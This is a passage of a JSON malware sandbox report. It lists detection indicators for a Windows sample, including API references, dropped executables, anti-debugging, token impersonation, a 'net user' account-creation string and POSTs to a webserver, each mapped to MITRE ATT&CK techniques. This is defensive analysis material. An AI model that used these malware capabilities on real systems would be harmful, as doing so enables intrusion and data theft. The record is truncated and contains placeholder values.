00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; File: \"bounty-38813904328784694\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"cde4308e66.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"bounty-38813904328784694\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: bounty-38813904328784694]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005828.00000000.285851.00F10000.00000004.mdmp, 00000000-00005828.00000001.286435.00F10000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\Temp\\10716580101\\adc663ab13.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006528.00000000.285422.00CC0000.00000004.mdmp, 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp, 00000000-00006528.00000002.289264.00CC0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\bounty-38813904328784694.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00006528.00000000.285422.00CC0000.00000004.mdmp, 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp, 00000000-00006528.00000002.289264.00CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"Found string \"net user \"\" (Indicator: \"net user \"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthority\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthorityCount\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"bounty-38813904328784694\")\n Found reference to API \"DuplicateTokenEx\" (Indicator: \"DuplicateToken\"; File: \"bounty-38813904328784694\")\n Found reference to API \"DuplicateTokenEx\" (Indicator: \"DuplicateTokenEx\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSidSubAuthority\" (Indicator: \"GetSidSubAuthority\"; File: \"bounty-38813904328784694\")\n Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSidIdentifierAuthority\" (Indicator: \"GetSidIdentifierAuthority\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$42","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"bounty-38813904328784694.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"adc663ab13.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 7 sections\"- Location: [%TEMP%\\10716580101\\adc663ab13.exe]- [targetUID: 00000000-00006528]\n \"cde4308e66.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\10716570101\\cde4308e66.exe]- [targetUID: 00000000-00005828]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"bounty-38813904328784694\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cde4308e66.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 32 calls to GetProcAddress@KERNEL32.dll at 45662-2463-00427F84","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.007","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"bounty-38813904328784694\" has section name .text with entropy \"6.525755271313463\"\n \"bounty-38813904328784694\" has section name .reloc with entropy \"6.64440619013502\"\n \"random_1_.exe\" has section name with entropy \"7.149112901795112\"\n \"random_1_.exe\" has section name mhpmhgkc with entropy \"7.954083863145118\"\n \"adc663ab13.exe\" has section name .text with entropy \"7.0541439398551296\"\n \"adc663ab13.exe\" has section name .TLS with entropy \"7.999486809352193\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Sets the 'ThreadHideFromDebugger' thread data structure","description":"\"cde4308e66.exe\" is setting 'ThreadHideFromDebugger' data for its current thread","origin":"API Call","mitre_attack_id":"T1622","relevance":10,"id":"api-84","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\10716580101\\adc663ab13.exe\" has high entropy 7.490801320018287\n Dropped file \"%TEMP%\\10716570101\\cde4308e66.exe\" has high entropy 7.919567265535219","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"20/27 Antivirus vendors marked sample as malicious (74% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"adc663ab13.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 7 sections\"- Location: [%TEMP%\\10716580101\\adc663ab13.exe]- [targetUID: 00000000-00006528]\n \"cde4308e66.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 6 